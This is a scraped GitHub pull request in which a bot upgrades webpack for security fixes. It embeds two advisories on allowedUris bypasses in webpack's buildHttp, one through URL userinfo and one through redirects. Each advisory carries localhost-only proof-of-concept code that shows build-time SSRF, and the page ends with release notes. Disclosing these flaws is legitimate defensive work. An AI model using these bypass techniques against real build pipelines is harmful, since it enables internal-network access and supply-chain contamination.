You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
chore(monorepo): update pnpm.catalog.default webpack to ^5.112.2 [security] - #208
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
webpack version: 5.104.0
Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
Raw string check: crafted.startsWith("http://127.0.0.1:9000") → true
URL parsing (WHAT new URL() will contact): origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
Server logs showed the internal-only endpoint being fetched:
[internal] 200 /secret.js served (...) (observed multiple times)
Attacker-side build output showed:
the internal secret marker was present in the bundle
the internal secret marker was present in the buildHttp cache
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Keep CSS fallbacks, vendor overrides, oklch() hues and HTML elements. (by @alexander-akait in #22753)
Validate CleanPlugin and DotenvPlugin options with a precompiled check, so valid options no longer compile their schema at startup. (by @alexander-akait in #22758)
Speed up startup and CSS minification, sharing the compile cache with workers. (by @xiaoxiaojx in #22706)
Use precise, generic types for modules, parsers, generators, stats and loaders. (by @alexander-akait in #22731)
Apply plugins set on a multi-configuration array to the MultiCompiler. (by @alexander-akait in #22702)
Add optimization.minimize.css.dropOverriddenDeclarations, dropping a declaration a later one overrides where no target is named. (by @alexander-akait in #22175)
Export more plugins under their scope, move eleven loose exports under theirs, deprecate the old, and expose template.DependencyTemplate, module.NullFactory and util.makeSerializable. (by @alexander-akait in #22261)
Let util.makeSerializable take several requests, current one first. (by @alexander-akait in #22340)
Emit the source map scopes field, so a debugger resolves imported ESM bindings by name. (by @alexander-akait in #21999)
Add library.entryExports: "all" to expose the exports of every entry module. (by @alexander-akait in #22235)
Recognize a required const binding assigned to exports as a re-export. (by @hai-x in #22276)
Accept glob patterns in more path, module and file filter options. (by @hai-x in #22422)
Bundle a run of inline <script> tags into one chunk the page can inline. (by @alexander-akait in #22188)
Add module.parser.javascript.topLevelThis for classic-script this semantics. (by @alexander-akait in #22193)
Add module.parser.html.chunkName and a webpackChunkName comment for tags. (by @alexander-akait in #22200)
Add include/exclude version and request filters to shared modules. (by @alexander-akait in #22297)
Keep module side-effect information in ESM output as PURE annotations. (by @alexander-akait in #21789)
Add optimization.splitChunks.dedupDepth to discover chunk intersections. (by @alexander-akait in #22240)
Add optimization.minimizeOptions.json, on by default with futureDefaults. (by @alexander-akait in #22286)
Add SSRManifestPlugin and fix server-rendered CSS collection and adoption. (by @alexander-akait in #21913)
Add an ignore hook to output.copy and keep unfollowed from symlinks. (by @alexander-akait in #22216)
Rename the Harmony* names to ESM* and deprecate the old spellings. (by @hai-x in #22283)
Reduce css.syntax/html.syntax to parser, printer, SourceProcessor with one node path. (by @alexander-akait in #22233)
Add a JavaScript SyntaxTree read like the CSS one, and toEstreeObject. (by @alexander-akait in #22608)
Fix minified code that threw, and add pure_conversions and pure_heritage. (by @alexander-akait in #22473)
Shorten more CSS values and selectors, fold longhands, order declarations and gather layer blocks. (by @alexander-akait in #22442)
Add optimization.minimize.css.charset; false drops @charset for UTF-8 CSS. (by @alexander-akait in #22632)
Patch Changes
Join rules a gathered @layer leaves adjacent, and an at-rule with a later one (by @alexander-akait in #22204)
stating the same condition; read what a condition declares.
Read escaped CSS names and functions as spelled, and minify them unescaped. (by @alexander-akait in #22262)
Minify JavaScript, CSS and HTML assets whose names carry a #fragment. (by @alexander-akait in #22277)
Require minimizer-webpack-plugin 5.12, so inline scripts in HTML minify again. (by @alexander-akait in #22296)
Minify the attributes of an HTML tag without rewriting the template in it. (by @alexander-akait in #22166)
Order joined at-rule selector lists and gather a repeated large @layer block. (by @alexander-akait in #22224)
Preserve case-sensitive template identifiers when minifying HTML tag attributes. (by @bjohansebas in #22177)
Match Acorn's strict directives, Unicode identifiers and expression validation. (by @bjohansebas in #22185)
Skip concatenating modules when optimization.providedExports is disabled. (by @hai-x in #22410)
Join rules a nesting lowering or duplicate drop left for a second pass. (by @aryanraj45 in #22268)
Write U+00A0 in a minified HTML attribute as the character, not . (by @alexander-akait in #22208)
Escape a foreign <script> or <style> body, which is character data. (by @alexander-akait in #22233)
Minify data: URL payloads in HTML attributes and new URL, and web manifests. (by @alexander-akait in #22300)
fold a fallback's colors over the author's arguments, and print with (by @aryanraj45 in #22314) recurseBlocks: false rather than throwing
Read a regular expression repeating a capture group name in linear time. (by @alexander-akait in #22187)
Make lazy barrels defer import declarations and keep no deferral across compilations. (by @hai-x in #22359)
Invalidate unaffected caches when connection activity or async status changes. (by @bjohansebas in #22431)
Order concatenated re-exports deterministically when their source order ties. (by @alexander-akait in #22697)
Regenerate a module's exports when a require() cycle forms or breaks around it. (by @aryanraj45 in #22644)
Recompute re-exports, code and warnings when a module goes missing or returns. (by @bjohansebas in #22432)
Preserve loader resolution dependencies across cached rebuilds. (by @bjohansebas in #22430)
Read unwatched changes afresh and wait for restarted watch compilers to finish. (by @alexander-akait in #22646)
Parse loader output for .wasm as JavaScript when async wasm is auto-enabled. (by @alexander-akait in #22556)
Remove modules an async chunk inherits from a named parent chunk grown later. (by @hai-x in #22555)
Fix JavaScript minifier crashes, altered behavior, lost comments, unparsable output and null source map sources, including parameter aliases, ESTree trees and preserved names, and stop it writing into the caller's parse options. (by @alexander-akait in #22352)
Preserve the source phase of dynamic WebAssembly import contexts. (by @bjohansebas in #22604)
Await every async entry before resolving an ESM library import. (by @bjohansebas in #22617)
Keep unknown import.meta properties per module, alike for aliases and direct use. (by @bjohansebas in #22618)
Return WebAssembly modules directly from eager and weak source imports. (by @bjohansebas in #22606)
Handle missing ESM hot update manifests in Node.js without failing HMR checks. (by @bjohansebas in #22613)
Speed up JavaScript parsing: comment lookup, the tokenizer and the grammar. (by @bjohansebas in #22179)
Name a core module external by its key whichever spelling the code uses. (by @alexander-akait in #22565)
Prefix and drop 2009 flexbox names, keeping them where a box lays out by them. (by @alexander-akait in #22320)
Keep initial where Gecko or WebKit reads the property's keyword apart. (by @aryanraj45 in #22176)
Fold calc() as lightningcss does, keeping it where a bare value is refused. (by @aryanraj45 in #22205)
Keep a color-mix() whose hue rests on a gray's conversion residue. (by @alexander-akait in #22198)
Keep a shorthand's initial keyword where it parts two keywords of another slot. (by @dependabot in #22518)
Treat a browserslist target given at a bare major version (e.g. safari 10) as <major>.0 when a feature's first supported version is a [major, minor] pair, so it is no longer reported as unsupported. (by @Eshiv-Pandey in #22280)
Keep the last HMR update with output.clean; stop rechecking removed files. (by @alexander-akait in #22339)
Read and print a CSS backslash as the spec does, and a NUL as U+FFFD. (by @alexander-akait in #22201)
Make minified CSS and HTML stable on a second pass, even for truncated input. (by @alexander-akait in #22290)
Minify a merged <style> run as one sheet, closing each where its input ended. (by @alexander-akait in #22302)
Minify JavaScript with webpack's printer under futureDefaults, terser otherwise. (by @alexander-akait in #22217)
Preserve wrappedContextRegExp flags when rebuilding context request matchers. (by @Eshiv-Pandey in #22303)
Minify CSS @supports, @import and @custom-media conditions, and exponent numbers. (by @alexander-akait in #22347)
Fold unitless hsl()/hwb() channels, and only where the separators are valid. (by @alexander-akait in #22242)
Split @value imports on the from keyword, not a substring in the path. (by @Eshiv-Pandey in #22306)
Destructure a dotted DefinePlugin key whose value is falsy or a runtimeValue. (by @alexander-akait in #22215)
Make Stats.hasErrors() read errors through the processErrors hook (via getErrors()), matching hasWarnings(), so a plugin that filters errors out of the hook is no longer contradicted by hasErrors(). (by @Eshiv-Pandey in #22281)
Allow wrapping an external concatenated module, now asked of the module itself, and re-exporting a JSON or asset default as a namespace object. (by @hai-x in #22226)
Match urlHints rules written with and, or, not and glob conditions; profile hook map taps, such as resolver and parser hooks, in ProfilingPlugin; report import.meta option errors inside require.ensure callbacks, not crash; and replace any, object and Function with precise types in the type definitions. (by @alexander-akait in #22681)
Reuse free names instead of re-parsing modules for the entry IIFE rename. (by @hai-x in #22206)
Release each module's ast once scope-analysed, and encode each export path once. (by @alexander-akait in #22241)
Export a module library entry's default expression as its own binding, and keep (by @hai-x in #22227)
the export helpers where the entry is not inlined.
Give a wrapped concatenated body the same function header as a module factory. (by @hai-x in #22254)
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]
Feb 12, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 12, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 16, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 16, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 17, 2026
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.
Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 17, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 20, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 20, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
Feb 24, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Feb 24, 2026
renovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosed
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]
Mar 30, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dependenciesUpgrade or downgrade of project dependencies.
0 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
^5.101.3→^5.112.2webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outsideallowedUrisby using crafted URLs that include userinfo (username:password@host). IfallowedUrisenforcement relies on a raw string prefix check (e.g.,uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.Reproduced on:
Details
Root cause (high level):
allowedUrisvalidation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g.,new URL(uri)), which interprets the authority as the part after@.Example crafted URL:
http://127.0.0.1:9000@127.0.0.1:9100/secret.jsIf the allow-list is
["http://127.0.0.1:9000"], then:crafted.startsWith("http://127.0.0.1:9000")→ truenew URL()will contact):origin→http://127.0.0.1:9100(host/port after@)As a result, webpack fetches
http://127.0.0.1:9100/secret.jseven thoughallowedUrisonly includedhttp://127.0.0.1:9000.Evidence from reproduction:
[internal] 200 /secret.js served (...)(observed multiple times)PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
2) Create server.js
4) Run
Terminal A:
Terminal B:
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When
experiments.buildHttpis enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforcesallowedUrisonly for the initial URL, but does not re-validateallowedUrisafter following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.Details
In the HTTP scheme resolver, the allow-list check (
allowedUris) is performed when metadata/info is created for the original request (viagetInfo()), but the content-fetch path follows redirects by resolving theLocationURL without re-checking whether the redirected URL is withinallowedUris.Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to
http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
2) Create server.js
3) Create attacker.js
4) Run
Terminal A:
Terminal B:
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.112.2Compare Source
Patch Changes
Reduce repeated scans when concatenating imported modules. (by @xiaoxiaojx in #22865)
Avoid allocating CSS module sets for single-group chunks. (by @xiaoxiaojx in #22866)
Return the value of every module type loaded with
importModule(). (by @alexander-akait in #22869)v5.112.1Compare Source
Patch Changes
Rebuild a lazy barrel in watch when what it defers changes, and keep the imports and re-exports it still runs. (by @aryanraj45 in #22699)
Rebuild under
cacheUnaffecteda module whose re-export target goes or returns. (by @aryanraj45 in #22749)Fix "Self-reference dependency has unused export name" for CommonJS namespace re-exports. (by @alexander-akait in #22791)
Fix
exportType: "style"CSS modules throwing outside the runtime chunk. (by @lazerg in #22833)Fix crash when a CSS module with
exportType: "style"imports an ignored stylesheet. (by @codeXsidd in #22846)Keep empty process environment variables that
.envfiles don't define inDotenvPlugin. (by @alexander-akait in #22794)Rehash an ESM entry chunk when a chunk it imports by file name changes. (by @alexander-akait in #22804)
Handle a NUL inside an HTML CDATA section the way the parsing spec does. (by @dependabot in #22811)
Keep module exports live across chunks, runtimes, HMR and eval, sparing globals. (by @alexander-akait in #22733)
Await asynchronous modules that
ProvidePlugininjects into ES modules. (by @alexander-akait in #22728)Keep a resolve that ends after the compiler closed from throwing. (by @alexander-akait in #22795)
Preserve string names passed to SharedWorker constructors. (by @bjohansebas in #22770)
Preserve string contents when extracting source map comments. (by @bjohansebas in #22768)
Scope strict-mode, async and generator block function declarations to their block. (by @alexander-akait in #22800)
Preserve raw dotenv values when reusing cached environment files. (by @Eshiv-Pandey in #22787)
Preserve assigned or patched built-ins, conversions and pattern targets. (by @aryanraj45 in #22761)
Keep globals a
globalThiswrite replaces, andsliceon a patched array. (by @alexander-akait in #22862)Skip HTML script tags for shared chunks that emit no JavaScript. (by @bjohansebas in #22779)
Keep the digits Firefox lays out a minified CSS percentage with. (by @alexander-akait in #22718)
Reject a second
srcsetdescriptor after a0xdensity descriptor. (by @alexander-akait in #22741)Minify JavaScript faster, folding string methods on constants and
x -= 1. (by @alexander-akait in #22823)Shorten minified JavaScript, and keep it running like its source. (by @alexander-akait in #22717)
Drop more unused functions, arguments, calls, global reads and variable copies when minifying JavaScript. (by @alexander-akait in #22789)
Minify JavaScript smaller where swc does, and fold a function's
lengthright. (by @alexander-akait in #22826)Reduce JavaScript output size where oxc or swc produce smaller output. (by @alexander-akait in #22829)
Update watchpack to 2.6.3 and rebuild on a
node_modulescreated mid-build. (by @alexander-akait in #22743)Support
concatenateModuleswithcacheUnaffected. (by @alexander-akait in #22746)Update schema-utils to 4.8.1. (by @alexander-akait in #22774)
Keep CSS fallbacks, vendor overrides,
oklch()hues and HTML elements. (by @alexander-akait in #22753)Validate
CleanPluginandDotenvPluginoptions with a precompiled check, so valid options no longer compile their schema at startup. (by @alexander-akait in #22758)Speed up startup and CSS minification, sharing the compile cache with workers. (by @xiaoxiaojx in #22706)
Use precise, generic types for modules, parsers, generators, stats and loaders. (by @alexander-akait in #22731)
v5.112.0Compare Source
Minor Changes
Apply
pluginsset on a multi-configuration array to theMultiCompiler. (by @alexander-akait in #22702)Add
optimization.minimize.css.dropOverriddenDeclarations, dropping a declaration a later one overrides where no target is named. (by @alexander-akait in #22175)Export more plugins under their scope, move eleven loose exports under theirs, deprecate the old, and expose
template.DependencyTemplate,module.NullFactoryandutil.makeSerializable. (by @alexander-akait in #22261)Let
